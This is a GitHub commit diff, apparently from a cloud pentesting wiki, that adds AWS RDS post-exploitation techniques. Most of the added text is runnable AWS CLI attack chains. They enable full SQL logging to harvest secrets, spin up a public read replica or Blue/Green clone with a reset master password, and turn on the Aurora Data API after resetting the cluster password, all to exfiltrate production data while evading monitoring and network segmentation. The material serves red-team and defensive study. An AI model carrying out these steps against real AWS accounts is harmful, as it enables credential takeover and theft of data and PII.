Skip to content

Commit 95302db

Browse files
committed
AWS RDS post-exploitation: Out-of-band SQL via Data API + master password reset (Aurora)
1 parent 90bd042 commit 95302db

File tree

3 files changed

+282
-2
lines changed

3 files changed

+282
-2
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -529,7 +529,7 @@ Abusing DynamoDB Kinesis streaming destinations to continuously exfiltrate chang
529529
Minimum permissions (attacker):
530530
- `dynamodb:EnableKinesisStreamingDestination` on the target table
531531
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
532-
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
532+
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
533533

534534
<details>
535535
<summary>PoC (us-east-1)</summary>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ aws-lambda-function-url-public-exposure.md
6969
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
7070

7171
{{#ref}}
72-
aws-lambda-event-source-mapping-target-hijack.md
72+
aws-lambda-event-source-mapping-hijack.md
7373
{{#endref}}
7474

7575
### AWS Lambda – EFS Mount Injection data exfiltration

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md

Lines changed: 280 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -175,3 +175,283 @@ aws rds stop-db-instance-automated-backups-replication \
175175

176176

177177
{{#include ../../../banners/hacktricks-training.md}}
178+
179+
### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs
180+
181+
Abuse `rds:ModifyDBParameterGroup` with RDS log download APIs to capture all SQL statements executed by applications (no DB engine credentials needed). Enable engine SQL logging and pull the file logs via `rds:DescribeDBLogFiles` and `rds:DownloadDBLogFilePortion` (or the REST `downloadCompleteLogFile`). Useful to collect queries that may contain secrets/PII/JWTs.
182+
183+
Permissions needed (minimum):
184+
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
185+
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
186+
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
187+
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
188+
189+
Steps
190+
1) Recon target and current parameter group
191+
```bash
192+
aws rds describe-db-instances \
193+
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
194+
--output table
195+
```
196+
197+
2) Ensure a custom DB parameter group is attached (cannot edit the default)
198+
- If the instance already uses a custom group, reuse its name in the next step.
199+
- Otherwise create and attach one matching the engine family:
200+
```bash
201+
# Example for PostgreSQL 16
202+
aws rds create-db-parameter-group \
203+
--db-parameter-group-name ht-logs-pg \
204+
--db-parameter-group-family postgres16 \
205+
--description "HT logging"
206+
207+
aws rds modify-db-instance \
208+
--db-instance-identifier <DB> \
209+
--db-parameter-group-name ht-logs-pg \
210+
--apply-immediately
211+
# Wait until status becomes "available"
212+
```
213+
214+
3) Enable verbose SQL logging
215+
- MySQL engines (immediate / no reboot):
216+
```bash
217+
aws rds modify-db-parameter-group \
218+
--db-parameter-group-name <PGNAME> \
219+
--parameters \
220+
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
221+
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
222+
# Optional extras:
223+
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
224+
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
225+
```
226+
227+
- PostgreSQL engines (reboot required):
228+
```bash
229+
aws rds modify-db-parameter-group \
230+
--db-parameter-group-name <PGNAME> \
231+
--parameters \
232+
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
233+
# Optional to log duration for every statement:
234+
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
235+
236+
# Reboot if any parameter is pending-reboot
237+
aws rds reboot-db-instance --db-instance-identifier <DB>
238+
```
239+
240+
4) Let the workload run (or generate queries). Statements will be written to engine file logs
241+
- MySQL: `general/mysql-general.log`
242+
- PostgreSQL: `postgresql.log`
243+
244+
5) Discover and download logs (no DB creds required)
245+
```bash
246+
aws rds describe-db-log-files --db-instance-identifier <DB>
247+
248+
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
249+
aws rds download-db-log-file-portion \
250+
--db-instance-identifier <DB> \
251+
--log-file-name general/mysql-general.log \
252+
--starting-token 0 \
253+
--output text > dump.log
254+
```
255+
256+
6) Analyze offline for sensitive data
257+
```bash
258+
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
259+
```
260+
261+
Example evidence (redacted):
262+
```text
263+
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
264+
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
265+
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
266+
```
267+
268+
Cleanup
269+
- Revert parameters to defaults and reboot if required:
270+
```bash
271+
# MySQL
272+
aws rds modify-db-parameter-group \
273+
--db-parameter-group-name <PGNAME> \
274+
--parameters \
275+
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
276+
277+
# PostgreSQL
278+
aws rds modify-db-parameter-group \
279+
--db-parameter-group-name <PGNAME> \
280+
--parameters \
281+
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
282+
# Reboot if pending-reboot
283+
```
284+
285+
Impact: Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
286+
287+
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
288+
289+
Abuse RDS read replicas to gain out-of-band read access without touching the primary instance credentials. An attacker can create a read replica from a production instance, reset the replica's master password (this does not change the primary), and optionally expose the replica publicly to exfiltrate data.
290+
291+
Permissions needed (minimum):
292+
- `rds:DescribeDBInstances`
293+
- `rds:CreateDBInstanceReadReplica`
294+
- `rds:ModifyDBInstance`
295+
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
296+
297+
Impact: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.
298+
299+
```bash
300+
# 1) Recon: find non-Aurora sources with backups enabled
301+
aws rds describe-db-instances \
302+
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
303+
--output table
304+
305+
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
306+
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
307+
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
308+
309+
# 3) Create the read replica (optionally public)
310+
aws rds create-db-instance-read-replica \
311+
--db-instance-identifier <REPL_ID> \
312+
--source-db-instance-identifier <SOURCE_DB> \
313+
--db-instance-class db.t3.medium \
314+
--publicly-accessible \
315+
--vpc-security-group-ids <SGID>
316+
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
317+
318+
# 4) Reset ONLY the replica master password (primary unchanged)
319+
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
320+
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
321+
322+
# 5) Connect and dump (use the SOURCE master username + NEW password)
323+
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
324+
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
325+
326+
# Optional: promote for persistence
327+
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
328+
```
329+
330+
Example evidence (MySQL):
331+
- Replica DB status: `available`, read replication: `replicating`
332+
- Successful connection with new password and `@@read_only=1` confirming read-only replica access.
333+
334+
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
335+
336+
Abuse RDS Blue/Green to clone a production DB into a continuously replicated, read‑only green environment. Then reset the green master credentials to access the data without touching the blue (prod) instance. This is stealthier than snapshot sharing and often bypasses monitoring focused only on the source.
337+
338+
```bash
339+
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
340+
aws rds describe-db-instances \
341+
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
342+
343+
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
344+
345+
# 2) Create Blue/Green deployment (replicates blue->green continuously)
346+
aws rds create-blue-green-deployment \
347+
--blue-green-deployment-name ht-bgd-attack \
348+
--source <BLUE_DB_ARN> \
349+
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
350+
351+
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
352+
aws rds describe-blue-green-deployments \
353+
--blue-green-deployment-identifier <BGD_ID> \
354+
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
355+
356+
# Typical green id: <blue>-green-XXXX
357+
358+
# 3) Reset the green master password (does not affect blue)
359+
aws rds modify-db-instance \
360+
--db-instance-identifier <GREEN_DB_ID> \
361+
--master-user-password 'Gr33n!Exfil#1' \
362+
--apply-immediately
363+
364+
# Optional: expose the green for direct access (attach an SG that allows the DB port)
365+
aws rds modify-db-instance \
366+
--db-instance-identifier <GREEN_DB_ID> \
367+
--publicly-accessible \
368+
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
369+
--apply-immediately
370+
371+
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
372+
aws rds describe-db-instances \
373+
--db-instance-identifier <GREEN_DB_ID> \
374+
--query 'DBInstances[0].Endpoint.Address' --output text
375+
376+
# Then connect with the master username and the new password and run SELECT/dumps
377+
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
378+
379+
# 5) Cleanup – remove blue/green and the green resources
380+
aws rds delete-blue-green-deployment \
381+
--blue-green-deployment-identifier <BGD_ID> \
382+
--delete-target true
383+
```
384+
385+
Impact: Read-only but full data access to a near-real-time clone of production without modifying the production instance. Useful for stealthy data extraction and offline analysis.
386+
387+
388+
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
389+
390+
Abuse Aurora to enable the RDS Data API HTTP endpoint on a target cluster, reset the master password to a value you control, and run SQL over HTTPS (no VPC network path required). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
391+
392+
Permissions (minimum):
393+
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
394+
- secretsmanager:CreateSecret
395+
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
396+
397+
Impact: Bypass network segmentation and exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
398+
399+
<details>
400+
<summary>End-to-end CLI (Aurora MySQL example)</summary>
401+
402+
```bash
403+
# 1) Identify target cluster ARN
404+
REGION=us-east-1
405+
CLUSTER_ID=<target-cluster-id>
406+
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
407+
--db-cluster-identifier $CLUSTER_ID \
408+
--query 'DBClusters[0].DBClusterArn' --output text)
409+
410+
# 2) Enable Data API HTTP endpoint on the cluster
411+
# Either of the following (depending on API/engine support):
412+
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
413+
# or
414+
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
415+
--enable-http-endpoint --apply-immediately
416+
417+
# Wait until HttpEndpointEnabled is True
418+
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
419+
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
420+
--query 'DBClusters[0].HttpEndpointEnabled' --output text
421+
422+
# 3) Reset master password to attacker-controlled value
423+
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
424+
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
425+
# Wait until pending password change is applied
426+
while :; do
427+
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
428+
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
429+
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
430+
[[ "$P" == "None" || "$P" == "null" ]] && break
431+
sleep 10
432+
done
433+
434+
# 4) Create a Secrets Manager secret for Data API auth
435+
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
436+
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
437+
--query ARN --output text)
438+
439+
# 5) Prove out-of-band SQL via HTTPS using rds-data
440+
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
441+
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
442+
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
443+
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
444+
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
445+
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
446+
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
447+
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
448+
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
449+
--format-records-as JSON
450+
```
451+
452+
</details>
453+
454+
Notes:
455+
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
456+
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
457+
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.

0 commit comments

Comments
 (0)